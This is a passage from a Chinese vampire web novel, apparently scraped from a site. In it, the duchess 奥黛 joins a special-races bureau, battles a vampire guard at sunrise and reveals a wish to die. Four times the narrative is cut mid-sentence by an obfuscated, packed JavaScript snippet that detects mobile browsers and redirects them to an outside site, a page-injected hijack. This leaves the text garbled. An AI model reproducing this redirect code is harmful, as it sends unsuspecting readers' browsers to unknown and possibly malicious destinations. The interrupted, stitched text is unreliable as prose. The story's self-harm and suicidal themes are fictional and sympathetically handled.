闻言,艾琳的表情忽然变得很愤慨,刚张嘴要说,嘴唇却自动闭合。她指着唇边摇了摇头:“这个名字,对于海尔珀林家族是一个禁忌,父亲禁止我们血仆谈论,不好意思。” “嗯,知道了。”黎信步拿着头盔往外走。 忽然他一顿,指尖似乎摸到了一点濡湿,对着路灯光源下一照,发现上面染上了一丝暗沉的红色。 二指轻轻研磨,他一愣,这是血。 是吸血鬼的血液。 血液的气味像幽灵一样飘荡环绕在奥黛的别墅里,经久不散。无论她在客厅亦或是卧室,都能闻见这道似有若无的幽香。 最终,她找到这股幽香的根源——在她手掌的尺侧,印上了一点淡淡的血迹,大概是和黎信步握手的时候,沾到了他的血。 甜。 太甜了。 没想到那人的血液竟然是与他本人气质完全不符合的甜。 奥黛走进洗漱间,认真地洗了三分钟手,才冲掉了这股甜腻的幽香。 打开冰箱,里面满满当当都是艾琳为她准备的人造血血袋。艾琳说现在的人都吃预制菜,也开始给吸血鬼做预制菜。 随着科技的发展,人类研发出了能够代替真人血的人造血供吸血鬼进食,这也是两族能走向和平的基础。 这倒是正好。 反正奥黛一直都不喜欢喝人血。 她小时候是和父亲一起生活的,父亲在被初拥成吸血鬼之前是人类,即使后来被成了吸血鬼,他也只愿意喝一些动物的血用于果腹。 于是在父亲潜移默化的影响下,她也只喝动物血。她与父亲居住在一座深山的城堡里,平时见得最多是一些兔子狐狸之类的小型动物,偶尔会有棕熊与狼。 熊血的味道偏腥,狼血的味道偏咸,但她对血液的口感并不挑剔,更是有意识地压抑自己身为血族的口腹之欲。 她最长坚持过十天不饮用任何血液。 双眼会深深凹陷,皮肤会干皱剥落,指甲会脆裂易断,身体会像被绑着石头、丢进深海一样沉重。那时她万念俱灰,欲壑难填,最终不得不屈服于血族的本能——饮用血液。 十天,是她自由掌控自己意志的极限。 将血袋里的血液挤进高脚酒杯中,奥黛静静地凝视着这浓稠的液体是如何沿着杯壁慢慢注入、汇聚、上升的,然后她麻木地举起酒杯,像以往数次屈从本能一样,将鲜红的液体一饮而尽。 鲜血像是甘霖浇灌旱土一样,滋润着她。原本在脑海里绷紧的防备的弦变得越来越松,理智告诉她不该放任吸血鬼的本性就此沉沦,但尝到鲜血的吸血鬼是没有理智的。 直到酒杯被打翻,浓重的血腥味完全掩盖住了她手上的味道,理智才慢慢回笼。 这就是人造血吗? 味道未免太过寡淡了。 天将亮时,蜷缩在沙发上的她,轻嗅掌心,漫不经心地想着。 晚上八点,奥黛准时出现在别墅门口,黎信步已经到了。 艾琳站在另一栋别墅的窗边,一边挥挥手,一边大声说:“女爵上晚八要加油哦。” 奥黛问:“为什么她要我加油?” 黎信步说:“毕竟上班是一件辛苦事。” 女爵轻轻哼一声,坐上了他的车,心里却很不服气地想着,除了活着,没什么事会让她觉得辛苦。 特族局建于闹市,从外面看里面好像只是一个不对外展出的文化馆,没想到内里却别有乾坤。 与其他政府单位不一样的是,特族局不是往上建,而是向下建的,身处其中,好像走在一个巨大的迷宫里。 曲折的走廊上分布着零散的房间,每走一步都能听到感应识别的声音,为他们开放余下通道的权限。走到尽头时,随着机器识别出了黎信步的脸,原本的墙壁像门一样左右展开,中间出现了新的道路。 由于是保密单位,几乎每一间房都需要不同的权限才能进入,因此他们的第一站就是去录脸,解锁顾问的权限。 黎信步带着奥黛走进一间办公室。 映入奥黛眼帘的是墙上张贴悬挂着的各类方块字符——她一个字也看不懂。字符之下,正对着门口的是一张猪肝色的大办公桌,上面摆放着各类机器,一盆绿油油的植物后方,坐着一个戴着圆形眼镜的年轻女人。 黎信步交给她一张印有夜游队红章的表:“李主任,录脸。” 李主任核验无误后,快速地在电脑前操作一番,桌上的机器很快就转动着响了起来。她拉开身后黑色的帘子,对奥黛一指:“坐这就行。” 帘子的背后是一架三脚架,上面放着一台相机。 奥黛坐在三脚架的对面,死死地盯着相机。 李主任说:“没戴美瞳吧?要露出耳朵和眉毛,不要佩戴首饰,肩膀要自然放松。” 奥黛今天戴了一对银色的长椭圆形耳环,闻言,她把它们摘了下来,收拢在了手心,又拨弄了一下头发,精致的五官毫无遮挡地露了出来。 黎信步若有所思地看着她,视线落在了她的耳垂上。原本渗血的耳洞正在神奇地填实和愈合,只在耳垂上留下了一道暗色的浓稠血痕。 许是感受到了黎信步的直白目光,她偏头朝他皱起了眉头,以表示自己的不悦。 李主任敲了一下桌子:“笑一笑,看镜头。” “……”女爵收 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042971|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回目光,嘴角上扬了一个像素点。 鬼生第一张证件照新鲜出炉,她的表情冷傲得像是马上要上战场。 李主任拿起打印好的档案,开始填表,问奥黛:“姓名?” “奥黛·海尔珀林。” “年龄?” “2——”奥黛顿了顿,被封印了100年,她虚长了一百岁:“326。” “种族?” “吸血鬼。” “身份?” “公爵。” “这可不行啊。”李主任放下了笔,语重心长地说:“都解放多少年了,华国人人平等,不能有贵族!” 她想了一会儿,最后勾选了“不便分类的从业人员”。 于是,不便分类的女爵顾问,戴着自己的工牌,刷脸来到了地下四层,解锁了夜游队的进入权限。 黎信步单手插着兜,不紧不慢地跟在一脸新奇、这里看看那里望望的女爵身后,告诉她:“这一层所有的房间你都能进。” 奥黛来到一扇门前,还没等她推开,大门识别到她的虹膜,自动弹开。 “欢迎你,奥黛。” 门上的屏幕亮起,用于识别的AI说道。 奥黛被突然出声的AI吓了一跳,正色道:“叫我女爵。” 屏幕上出现了一张抛着媚眼的像素脸,阴阳怪气地说:“好的哦奥黛。” “……”女爵对着AI干瞪眼,看上去不太高兴。 黎信步扬声往走廊尽头喊道:“余米!” “到!”一个身着银色作训服的、戴着方形眼镜的男生闻声赶来,“队长,您找我?” “让你的AI以后对女爵恭敬一点。” “哦、哦,好的。”余米点点头,趁低头推眼镜的时候,小心地看了一眼奥黛。 黎信步说:“这是咱们队的技术骨干余米。” 奥黛轻描淡写地瞟了他一眼,直接把对方看紧张了。他不知道该怎么行礼,直接朝奥黛鞠了三个躬,声音洪亮道:“女爵好!” 黎信步抬腿踢了他屁股一脚:“上坟呢你。” 余米捂着屁股,一脸欲言又止,不吐不快的表情。 黎信步问他:“怎么?” 余米有些不好意思道:“你不是让我设计文化墙吗,我看中间那么大个显示屏空着也是空着,徐副队让我放点咱队里的战斗集锦。” “那多丢人啊,”黎信步问他:“放了谁的?” “你的。” “?” “只有你的。全是你的。” “……给我关了。” 来不及了。 话音刚落,奥黛已经站在了那社死显示屏前。 巨大的显示屏上出现了巨大的黎信步。 黎信步挡在奥黛面前,拦都拦不住—— 大屏突然切成了许多个小屏,许多个黎信步手里拿着许多把锋利的银刀,行云流水般切开夜色,站在他身前的三个吸血鬼胸前渐渐出现了极细的暗红色伤口,而后径直倒下。 嘈杂的画外音,传来队员让他冲镜头比耶的声音。 一张冷酷的帅脸出现在镜头前,二指微微张开,然后恼羞成怒地用手捂住了镜头:“这多傻逼啊。” “……”黎信步颜面尽失地握拳站在奥黛身旁。 “这刀——” 奥黛话还没说完,身体本能感知到危险,红眸转深,竖眸顿立。 一只银色的薄刃在空中急速旋转,直奔她的心口而来。 正当她准备旋身闪避的时候,黎信步已经挡在了她的面前,利落抬腿将银刀踢飞。 黎信步面色阴沉,整条走廊传出他的吼声:“鹿露!给我出来!” “我说没说过不要在办公室玩圣银武器?” 5. 种子 被叫到名字的短发女生从走廊尽头的房间走了出来。她自知做了错事,耷拉着脑袋,瓮声瓮气地问:“对不起……女爵没事吧?” “都是我不好!我手劲太大了,没伤到您吧?” 奥黛不着痕迹地打量了一眼女生,她个子小巧、长相秀气,没想到力气还挺大的。 她没有受伤,摇了一下头,目光全然被黎信步拾起的银色匕首所吸引。 与一百年前,她见过的那只嵌有十字架的匕首做得不太一样,这一只明显要简洁许多,木质刀柄,圣银刀身,没有多余的镶嵌与设计,刀片像蝉翼一样薄。 她不由自主地朝它伸出手来。 黎信步本能一挡,却还是把刀递给她:“小心。” 轻轻抛起,稳稳接住,这匕首握在手里要有分量得多。也许是圣银天然能震慑吸血鬼的缘故,只是触碰刀柄的部分,奥黛都觉得自己浑身的血液好像凝结阻塞住了一样。 “哪里来的?”端详着匕首的锋芒,她问。 “武器部做的。”鹿露告诉她:“前不久不是发现了一条圣银矿脉吗,他们连夜生产出了一批武器让我们试用一下。” “一整条,圣银矿脉?”奥黛微怔。 现在的圣银的产量这么大了吗? 时代到底是变了。 “对呀,”鹿露好奇地问奥黛:“女爵,您可是行家,圣银对吸血鬼真的有克制作用吗?” 此前,队员们只是在几个吸血鬼的口中听说过让他们心惊胆战的“圣银”,但其实,绝大多数吸血鬼并没有见到过圣银。 “需要给你演示么?”奥黛手腕一转,刀尖向内,抵在她的胸膛处,淡红的薄唇似笑非笑勾起。 转瞬,黎信步夺了她手里的刀,冷着脸说:“夜游队不让玩刀。” 奥黛奇怪地看了黎信步一眼,继续往前走:“刀很好,如果对准要害,吸血鬼会死得很快。” 她的声音很凉,好像她不是血族,只是一个客观中立的武器顾问一样。 一整层楼逛得差不多了,黎信步说:“去办公室吧,队里的姑娘帮你把工位临时布置了一下。” “啊?我吗?”鹿露意外地指向了自己。 黎信步冷冷看向她:“不是你还有谁?” “是我。”鹿露笑眯眯:“希望您能喜欢。” 办公室很大,空气里飘散着她喜欢的柑橘香。 一排排办公桌将偌大的区域切分成一个个小区域,而属于她的区域是在一个靠墙的角落里。 几乎每个人的桌上都放有一盆吊兰绿植,不过她桌上的绿植与别人不太一样,是一株针状铺展的绿叶。 奥黛对它并不陌生,竟然是太阳花。 随着她的入座,办公室里十几个银装队员都围在了她的身边。 正当黎信步一一为她介绍时,一阵短促的集合铃声响起,原本还在嬉笑的大家瞬间严肃立正。 副队长徐让挽着袖子走进办公室,敲了敲面前的桌子,朝大家微微一笑: “出任务了,外勤。” 所谓外勤,就是指不在星城的任务。 自从反和平派吸血鬼给特族局局长云岩下了战书以后,先后暗杀了她六次都没有成功,在和平条约签署前,夜游队有一项重要的任务就是保护云岩局长的生命安全。 刚刚得知她今晚要临时前往邻省的江城,参加今明两天的研讨会,夜游队需要派人进行陪同和保护。 于是今天值班的队员们跟随她一起出发。 一楼大厅集合的时候,奥黛见到了艾琳口中的这位铁血局长。 相传,她雷厉风行,高瞻远瞩,在十年前亲手创立了特族局,又大力推动人类与血族和平发展。 奥黛本来以为她会是一个精明干练,不苟言笑的女性,没想到她走来,第一句话是:“又要辛苦大家和我出差啦。” 云岩局长五十岁上下,长发盘成了低髻,穿一身黑色的套装,袖口轻轻挽起,露出了一只秀气的白色女表。 依次走过众人身边,在经过奥黛时,她停了下来,轻轻一笑,眼睛弯出了温和的弧度,问她:“欢迎加入特族局,还习惯吗,奥黛?” 平心而论,奥黛不太喜欢有人第一次见面就直呼自己的名字,可面对她真诚温暖的目光,一时又无法抗拒。 “……嗯。” “那我就放心了。”云岩局长再次笑了起来,两颊漾出了酒窝,她将自己的贝壳表链摘了下来,放在了奥黛的手中:“防水也放热,上面有日出的时间,专门让技术部的同事精确到毫秒,送给你。” 冰凉的指尖触碰到云岩局长温热的手掌,无意中窥探到了她的心声。 【……】 ——什么也没有。 她的内心强大,平静,毫无杂念,更没有冒犯之意。 在奥黛漫长的三百多年的吸血鬼生涯里,几乎没有过被长辈示好的经历。好吧,若论年龄,云岩局长也并不算她的长辈。 捏着那只表,她站在原地一动不动。 直到云岩局长已经上车了,她仍静立着,表情带着点错愕的可爱。 “要戴上么?”黎信步问她。 奥黛歪头盯着手心看。 她想不明白:“她为什么要送给我?” 黎信步眉峰轻挑,连带着那道疤也忍不住轻轻颤了一下:“说不定她喜欢你。” 奥黛又问:“你第一面就会喜欢谁么?” “……” 黎信步喉结一滚,没有说话。 他拿起了她手里的表,一颗颗不规则的圆润贝壳串连而成的表带,像是远航的种子,穿过她细白的手腕,穿过海尔珀林的蔷薇花茎,最终抵达终点——被穿进了圆孔的带扣里,稳稳地扎根在了她的腕间。 【说不准呢。】 她听到了他灼热的掌心传来的心声。 微微一怔,见到黎信步挺直脊背,大步流星地走向门外,边走边道:“夜游队,上车。” 四个小时后,他们抵达了邻省的江城。云岩局长刚到酒店就去开研讨会了,夜游队列队守在那一整层,生人勿近。 凌晨五点半,会议暂时告一段落,云岩局长催促大家回去休息。 奥黛垂眸看了眼表,屏幕上除了实时的时间外,还有一个太阳的图标,大概就是日出时间了。 06:14:31:429。确实不早了。 对于一部分的吸血鬼来说,天亮之后他们的身体会变得虚弱和难受,日出以后尤甚,如果不慎照见了阳光,那将大祸临头。 要想抵抗白天带来的不舒适感,唯有睡觉与饮血。 回房以后,奥黛立刻关闭照明的大灯,拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042972|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实厚厚的窗帘,体会全然的黑暗带给她的安全感。 今天她接触的人类有点太多了,身上沾染了很多味道,需要仔细清洗才能安睡。 半个小时后,奥黛披着潮湿的黑发走出浴室,刚准备上床,心头忽觉一丝异样。 窸窸窣窣的声音传进了她的耳朵,她迅速打开门,蜷曲的黑发像一团急速飘过的乌云,下一秒,她停在了云局长的房门口,长廊上倾下了如注的骤雨。 一群密集的、血红的、巴掌大小的吸血蝙蝠集结盘旋在长廊内,与守在门口的鹿露对峙。 它们飞速扇动着翅膀,深红的眼睛危险地注视着她,试图突破她的防线冲进门内。 奥黛认出来了,这是迦莱尔王子的血蝠亲兵,高阶吸血鬼的压迫对它们没有用,它们只听从迦莱尔王子的命令。 “砰砰”两枪,鹿露射落奥黛面前的血色蝙蝠,一把将她拽到了自己身后,大有要保护她的架势。 “……”奥黛看着比自己矮一个头的娇小人类问:“其他人呢?” “来了一个特别特别难缠的高阶吸血鬼,队长他们去追他了。” “长什么样?” “很抽象一男的,走路的时候会给自己撒玫瑰花瓣。” ……是王子亲卫长瑞萨。 一百年了,想不到这人还是这么浮夸。 地上的两只血色蝙蝠微微抽搐,原本打进它们身体里的银制子弹被甩飞,伤口肉眼可见地快速愈合。一阵短促鸣叫后,它们更加勇猛地拍打着翅膀朝两人飞过来。 与此同时,周围的蝠群也像血雾一样朝她们涌来。 “圣银匕首在哪里?” “在我这!”鹿露一把抽出后腰的圣银军刀,毫不犹豫地交给了奥黛。 几束银光飞绽,血色的蝠翼哗啦啦地掉了一地。 “进去保护云局长。”奥黛对鹿露说。 鹿露点点头,立刻闪进门内。 越来越多的血蝠从窗外飞来,窗帘被它们扇动得飘来卷去,像是无声呐喊的旗帜。奥黛却比它们更快,深黑狭长的长廊上,浓墨似的乌云中,忽然冲出一道清冷的电光。 窗帘就重新吸附到了窗边,没人能看清她是怎么出手的,不多时,血色蝙蝠的尸首像山一样堆积在了她的脚边。 奥黛一边翻动着匕首,一边踢开血色尸山往前走,印有她高挑侧影的墙壁泛着阵阵冷光。 像是感知到了什么,她停了下来,回头对着空气淡淡开口:“还有么?” 地上蓦然落下了一滴血。 一抔血红的玫瑰花瓣轻轻落下,在落地的同时,红发红衣红刀红眸的吸血鬼瑞萨现身,他笑嘻嘻地站在了奥黛的面前,手中竖起一把绯红的镰刀。 踩着玫瑰花瓣,他慢慢走向她,语气娇嗔地指责道:“真是讨厌啊——” “没想到高高在上的女爵,居然有一天会给人类卖命。” 奥黛的目光掠过他凌乱的发丝、肩头的伤痕和满是血迹的衣袍,冷哂一声,讥讽道:“我也没想到,王子亲卫长会被人类打成这样。” 瑞萨的眼里闪过一丝怨毒,可他依然笑着,镰刀之上,银光渐渐明亮,光芒汇聚成了一面魔法阵。 蚀骨的寒意不由自主地从奥黛的心头升起。 被困了一百年,这面魔法阵她可太熟悉了。 6. 薄莎 数百年前,血猎公会曾向光明巫师求来光明魔法阵的绘制方法,试图将全世界的吸血鬼赶尽杀绝。 但效果却不甚理想。 这魔法阵只能克制一些中低阶的吸血鬼,根本克制不了高阶的吸血鬼乃至各家族家主。 若干年后,光明巫师在此基础上改良,只需融入一滴高阶吸血鬼的鲜血,便可以用这面魔法阵克制和封印他们整个家族的人。 不过从古到今,光明巫师的魔法阵基本没有现世过。一是因为高阶吸血鬼数量稀少,二是因为没有哪个高阶吸血鬼会愚蠢到自我献祭鲜血,给血猎留下把柄。 再次看见阵图中心那被鲜血侵染的蔷薇家徽时,奥黛依然替妹妹薄莎感到痛心。 她的眼眶渐渐变红。 “很熟悉不是吗?”瑞萨晃了晃镰刀上的银色魔法阵,“王子要我转告你,虽然他现在和西拉斯是合作的关系,但是如果你能效忠他,他会考虑把西拉斯交给你。” 奥黛垂眸看了一眼手腕:“不然呢?” “不然?”瑞萨的眸子危险地眯了起来,语气也沉了下去:“你也许会在魔法阵里再沉睡一百年,或者,一千年。” “是么。” 刹那间银芒一闪,奥黛手中的圣银军刀来到了瑞萨颈侧。 瑞萨偏头一躲,被锋利的军刀切下了一缕火红的长发。他气急败坏地咆哮:“你、完、了!” 玫瑰花纷扬洒下,银色魔法阵的光芒变得强盛,内圈尚未开启,外围光圈的光柱如同破晓的朝阳,穿透黑暗,照亮了大半长廊,无情地朝奥黛扫射而去。 那束曾经凝结了薄莎血液的光,一往无前地扫射,落到了奥黛的肩头时,她整只手臂立刻传来火热的刺痛,身上升腾了一缕轻烟。 恍惚间,奥黛听见了一声“姐姐”。 她身形一顿,脚步不受控制地停了下来,回头凝望着那光辉。 劲风吹开了奥黛的长发,强光照亮了她的面容,红色的瞳孔微微睁大,一滴清澈的眼泪从血河里流淌而出,一向锐利傲慢的目光变得空前柔和,好像在眷恋着什么。 不由自主想要迎接那束光——她的妹妹。 可身体却先于大脑一步反应过来,就在她即将被光芒击中时,迅速闪身离开。 “我看你能跑到哪去。” 瑞萨好整以暇地轻撩长发,迈开长腿,不慌不忙地挥舞着镰刀上的魔法阵朝奥黛射去,光芒落在了奥黛的手臂与脚踝,灼热的疼痛迫使她的速度降了下来,几乎是踉跄地往窗边奔逃。 像是觉得这样的猫鼠追逐游戏很好玩似的,他还想再欣赏一下血族大贵族的狼狈,所以迟迟不将魔法阵用于封印的内圈点亮。 很快,奥黛疲惫地停在了窗边,几乎已经无路可走了。 “呀,女爵大人不会想要跳窗吧?”瑞萨眨眨眼睛,一瞬间来到了窗边,扼住了奥黛的脖子,堵住了她的退路。 银色魔法阵如达摩克利斯之剑一样落到了她的头顶。 手上一点点使劲,他恶劣地发问:“不是很能跑吗?再跑给我看看呀。” “该跑的,是你吧。” 奥黛一把扯下了厚重的窗帘,露出了渐明的天光。光亮争先恐后地闯进幽长的廊道中,在昏暗的地毯上投射出了一个正方形的明亮色块。 瑞萨本能闭上眼睛,手上顿时卸了力道。 “日出,还有十秒。”她冷笑。 他的笑容僵在唇边,试图用魔法阵的内圈封印奥黛,却被奥黛偏头一避。 九秒。 奥黛未受伤的那只手,抓起圣银军刀,自下而上划伤他扼住自己脖子的手腕,暗红的鲜血喷射而出,溅到了她的脸上。 七秒。 瑞萨疼得尖叫:“你疯了吗?!太阳出来你不一样也会死吗!” 奥黛的唇边像是露出了一点阴冷的弧度,“是啊。” 她的表情像是有一些解脱。 六秒。 瑞萨想要离开,但已经来不及了,奥黛更快地从后面单手反拧住了他的胳膊。他摊开掌心,试图再次发动魔法阵,银光斜斜掠过奥黛的额发,他的手却被奥黛抓得更紧。 五秒。 “你赢了!你赢了好吗?!”他吼道:“太阳就要出来了!” 然而她却一点要放他离开的意思都没有。 瑞萨这才意识到,奥黛是真的不怕死——她简直是故意诱使自己留下来和她接受太阳光照的。 【疯了……她简直是疯了!】 他惊恐地挣扎着,可是无济于事。她的力量大得惊人,他甚至能听见自己手骨被捏碎的声音。 三秒。 “奥黛!” 人的速度远逊于吸血鬼,当黎信步赶到的时候,看到的是浑身是血的奥黛正在与瑞萨缠斗,他立刻拔出腿部枪套里的银色手枪。 极具压迫感的浓黑断眉压了下来,漆黑的眼眸里闪过一丝痛心的冷光。全队仅此一枚的圣银子弹,像利箭一样穿破空气,向瑞萨面门直直飞去。 砰—— 奥黛甚至能够看清楚它飞行的弹道,以及听见身前的懦夫在心底绝望的悲鸣。 还有一秒。 奥黛弯了弯唇,大发慈悲地松开手,解除了对瑞萨的钳制。她那细长的带有尖甲的手指,往他背后轻轻一顶,放任他用额心撞上了那颗子弹。 萦绕在耳畔的声音终于停歇,真实的世界惨淡得可怕。第一缕阳光穿射而来的时候,两只吸血鬼同时倒在了玫瑰花瓣的血泊中。 · 说来可笑,奥黛觉得自己这只吸血鬼此刻可能上了天堂。 因为,她好像看见薄莎了。 薄莎和她一样,头戴黑色面纱帽,穿着一身黑裙,手捧一束白玫瑰。并肩走过一排排整齐的墓碑,两人来到了一个崭新的墓碑前。 她们的好朋友刚刚在此长眠。 娴熟地白玫瑰地放在墓碑前,然后在这站了一会儿,什么话都没有说,安静地离开了。 已经在这里停留了很久,镇上已经有了“那对不老姐妹”的传闻。不出意外的话,她们明天就要离开这里,换一个新的地方生活了。 这么多年,她们一直在和无数朋友说再见,然后漂泊去另外的城市,认识新的朋友,说再见,继续漂泊。 这么多年都是这么过来的,可现在,两人由衷地厌烦。 “真的要走吗?我挺喜欢这里,这里的紫罗兰是最美的。”薄莎坐在墓园的长椅上,拉低了帽檐,把自己的脸挡得严严实实。 奥黛坐在了她的身边:“你要是不想再搬家了,我们就回永夜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奥黛神色复杂地看了薄莎一眼,很想告诉她吸血鬼就是些见不得光的肮脏生物,何谈幸福?可是望着妹妹笃定的希冀目光,她却没再出言反驳。 幸福——听起来就是很美好的词汇,如果真的有的话。 薄莎的眼睛轻轻眨动,薄唇轻微扬起,像是带着什么志在必得的微笑。 奥黛留恋地看着她的幻影,却舍不得戳破。 这样的笑容,实在是,久违了。 一瞬间,笑容定格,光影虚化,坟墓坍塌,面前的人和景都碎裂斑驳成了无数碎块,铺成她脚底的路,身后通往过去,身前通往未来。 黑沉沉的天幕下,她不知自己究竟该去往何方。 无论是过去还是未来,听起来都一样绝望。 直到听见一声呼喊,地上的碎块像蝴蝶一样纷飞飘远。 顺着那声音的方向,世界一点点恢复了色彩。走近了,她听见原来是在叫她的名字。 “奥黛——” 是很坚定的声音,带着一点低哑的砂砾质感。 再睁开眼时,她对上了一双圆润的乌黑眼睛。 漂亮又温柔。 7. 想死 随着奥黛的视野逐渐明晰,那双好看的眸子也慢慢变得深沉而冷凝。 眸子的主人很高,站在她床边时,天花板显得异常逼仄,影子落在了她的脸上,像蒙上一层薄薄的纱。 这时身上传来了细密的疼痛,提醒她这具身躯的存在:“我还活着。” 她动了动,想要坐起来。 “很失望吗?” 黎信步面无表情地看着她,俯下身,为她背后塞了一个枕头。 奥黛撑床坐起,手一使劲,发现手背上暗红的输液管跟随她的动作轻轻晃动。顺着输液管往旁边看去,直立的吊瓶杆上挂着几袋空了的人造血血袋。 “这是哪里?”她问。 她环顾着四周,发现自己在一间陌生的房间,白墙白地板,没有多余的装饰。她的小床在整个房间的正中间,床的左边立着一把椅子,右边是一只金属推车,推车上放着各类液体,还有镊子剪刀之类的小工具。 她猜测应该是医院之类的地方。 “天堂。”黎信步冷着脸说。 顿了顿,他说:“这里是特族局地下五层的医疗室。” “是你救了我?” 记忆开始回溯。 在日出前的最后三秒,她看见他拔枪击毙瑞萨。 在日出的那一秒,她看见他抱着她隐入黑暗中。 “但你并不需要,不是吗?” 他沉沉一瞥,目光像是锋刃,轻而易举地就捅穿了虚假的和平。 护栏边,一双大手紧握成了拳,手指关节因为过度用力而被绷白,隐忍在皮肤下的粗壮血管像是要呼之欲出,被腕间一条极细的红绳死死压抑按捺着。 “如果你想,随时可以用圣银军刀杀掉他,可是你没有。”黎信步情绪不明地盯着她,骨节被绷得更白。 在她沉睡的这五天里,他一直在反复地看着那段监控。 圣银匕首一直握在她的手中,她却没有使用。 回想起她不断用银针穿刺的耳洞,把玩圣银军刀时的冷漠神情,与高阶吸血鬼对战时非要耗到太阳出来的打法,他忽然明白了。 她并不在意自己受伤或是不受伤。 或者说,她并不惜命。 “为什么?”他压低声音问她,语气里带着一丝不易察觉的惶惶。 如果不是他及时赶到,射出那带有圣银子弹的一枪,难道她真的要和瑞萨一起同归于尽吗? 奥黛微微抬起了下巴,却并不仰视他,不悦地扫他一眼,反问:“和你有关系么?” 几乎在瑞萨亮出魔法阵的同时,她就已经在心底预设好了怎样出刀能最快杀掉他。可当那束银光照到她的身上时,听到了薄莎的声音后,她却改变了主意。 ——薄莎已经好久好久没有和她说过话了。 她并不恋痛,只是行尸走肉久了难免会变得麻木。 直到那连结着薄莎血脉的光芒,穿刺到她的身上时,或许她才能有一些活着的真实感。正如她一次又一次用银针穿刺耳垂,也是在用尖锐的痛感提醒自己,她还没有真正地死去。 她只是,飘零太久了。 他走近她,强势的阴影再度覆下,语气竟然颤抖:“……你想死吗。” 既然话已经说到这个份上,她的右眉轻轻往上挑动,像是冰封的山顶被冬日的阳光强势地破开一线,一道裂痕在寒冰层下无声蜿蜒。 此时,她的眼眸已经完全转成了狩猎时的深红,像是在对这个没有边界感的人类做出最后的警告:“是啊。” 不许再照射。 不许再走近。 “为什么想要死?” 他仍然紧逼,炽热有力的拳头抓住了护栏,带得床架也忍不住颤响。 他不明白—— 为什么想要死?从什么时候开始想死的?心里有那么多不开心的事吗?那有没有值得开心的事?怎样才能让你开心点?能不能不要伤害自己? 能不能不要死? 转瞬,他又哑然。 他像是何不食肉糜的人,感知不到她的痛苦,只能偶尔默读她眼底的苍凉。 可是。 能不能不要死? 能不能不要死。 “和你有关系么?出去——”奥黛厉声道。 黎信步没有动,高大的身躯像是一座屹立的大山,被隔绝在了她的溪涧之外,他沉默地看她经过、淌走,奔赴注定会枯涸的命运,而他却什么也无法为她做,甚至连融入都不可以。 她一把将手上的针头扯了下来,床上溅落了朵朵红梅,掀开被子就要下床。 “别动。” 黎信步绷着脸替她掩好被子,退后了两步,转身就走。在门口,与一群白大褂迎面撞上了。 为首的白大褂见他眼尾濡着一抹红,刚想要问,他却已经消失在了拐角。 前者奇怪地看了他一眼,走进了医疗室。 紧接着,医疗室里传来了她的一声惊呼:“怎么好好的把针给拔了?” 奥黛审视地看向来人。 这是一个年轻时髦的女人,眼线微挑,红唇张扬,蓬松的头发极富层次感地垂在耳边,脑后的一小撮绽开的头发像狼尾一样贴在了她的颈边和锁骨。 “我是宁白博士,”她自我介绍道:“隶属于特族局,整个地下五层的实验室都是我的,这些是我的学生。” 她身后的小白大褂们一个个探出了头,眼冒精光地望着奥黛,争先恐后地打着招呼。 奥黛问她:“是你救的我?” 她的伤口虽然还在疼,伤痕处红痕满布,可于性命却无碍。她知道,以目前的愈合程度,绝非是她能够做到的。 毕竟令她受伤的是光明。 “也就是歪打正着,我也没想到那方法对你有用。”宁白上挑的眼睛微微眯了起来,“想谢我的话不如帮我做一件事?” “什么事?” 体育馆内。 一条粗大的金属材质的链条之下,沉沉地吊着一个沙袋。 奥黛站在沙袋前,奇怪地瞥了宁白一眼:“确定要我打这个?” 她的双手绑着一对智能拳套,拳心处闪烁着幽蓝色的电子光,扎紧的拳套口露出来一截小臂,白皙又纤细,脆弱得像是一折即断的细枝。 “你尽力就行。”宁白从电子屏幕前抬头,“我就想知道高阶吸血鬼的力量和速度是怎样的。” 话音刚落,奥黛立刻出拳。 从宁白的视角上看去,明明她只是轻轻地撞了一下沙袋,但是沙袋中央立刻凹陷,以极快的速度向后飞退,系绑它的金属链条不堪其负地崩断碎裂,最后听见一声巨响,沙袋撞墙停下,墙壁处转眼间爬上了巨大的蛛网裂痕。 同时,奥黛的拳套上发出了尖锐爆鸣声,原本长亮的蓝光点变成了闪烁的红光。 宁白的电子屏幕上显示“null”。 围观的小白大褂们都傻眼了,清澈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15042974|162625||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼里满是崇高的敬意。 